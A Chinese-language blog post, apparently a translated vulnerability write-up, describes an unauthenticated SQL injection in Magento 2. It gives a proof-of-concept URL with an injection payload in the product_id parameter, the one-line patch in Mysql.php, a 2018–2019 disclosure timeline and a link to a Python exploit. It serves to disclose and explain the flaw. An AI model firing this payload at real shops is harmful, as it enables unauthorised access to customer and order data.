Magento

在几个月前发现了PrestaShop的漏洞后,我下一个选择的目标是另一个电子商务平台:Magento。Magento是全球使用最广泛的电子商务平台之一,使用该平台的商家去年的数字商务交易总额超过1010亿美元。

正因如此,Magento非常重视其产品安全,为了确保漏洞能够被修复,magento官方给予白帽子非常丰厚的奖励。目前,Magento已被Adobe收购,其赏金项目也归属到Adobe的漏洞披露项目中。

尽管如此,我仍在Mangento上发现了两个危急的漏洞。其中的一个为未经身份验证的SQL注入漏洞

poc:

https://magento2website.com/catalog/product_frontend_action/synchronize?
    type_id=recently_products&
    ids[0][added_at]=&
    ids[0][product_id][from]=?&
    ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

补丁

非常简单的一个修复程序:

文件:vendor/magento/framework/DB/Adapter/Pdo/Mysql.php 2907行

- $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
+ $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

时间线

2018年11月9日:在Bugcrowd上报告该漏洞
2018年11月26日:漏洞分级为 P1
2019年3月19日:我们请求更新动态(已经过去了4个月了!)
2019年3月19日:Magento奖励我们赏金,并告知正在进行修补。
2019年3月26日:Magento发布了新版本,修补了漏洞。

python POC

https://github.com/ambionics/magento-exploits/blob/master/magento-sqli.py

标签: none

添加新评论